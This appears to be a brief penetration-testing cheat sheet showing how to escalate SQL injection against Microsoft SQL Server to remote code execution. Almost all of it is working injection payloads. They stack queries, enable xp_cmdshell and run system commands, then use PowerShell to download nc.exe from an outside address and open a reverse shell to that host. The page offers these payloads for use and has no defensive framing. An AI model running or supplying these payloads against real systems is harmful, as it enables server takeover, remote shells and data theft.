MSSQL
SQL Injection to RCE
is_srvrolemember('sysadmin')' UNION SELECT NULL,test,NULL FROM Users; WAITFOR DELAY '0:0:5';-- - multiple queries ok.
' UNION SELECT NULL,test,NULL FROM Users; EXEC xp_cmdshell "whoami";-- - nope.
' UNION SELECT NULL,test,NULL FROM Users; EXEC sp_configure "show advanced options", 1;RECONFIGURE;EXEC sp_configure "xp_cmdshell", 1;RECONFIGURE;--
' UNION SELECT NULL,test,NULL FROM Users; EXEC master..xp_cmdshell "whoami";-- - ok.
' UNION SELECT NULL,test,NULL FROM Users; EXEC master..xp_cmdshell "powershell Invoke-WebRequest -Uri http://192.168.1.1/nc.exe -OutFile nc.exe";-- -OK
' UNION SELECT NULL,test,NULL FROM Users; EXEC master..xp_cmdshell "nc.exe -e cmd 192.168.1.1 80";-- -OKGetting RCE on MSSQL
Last updated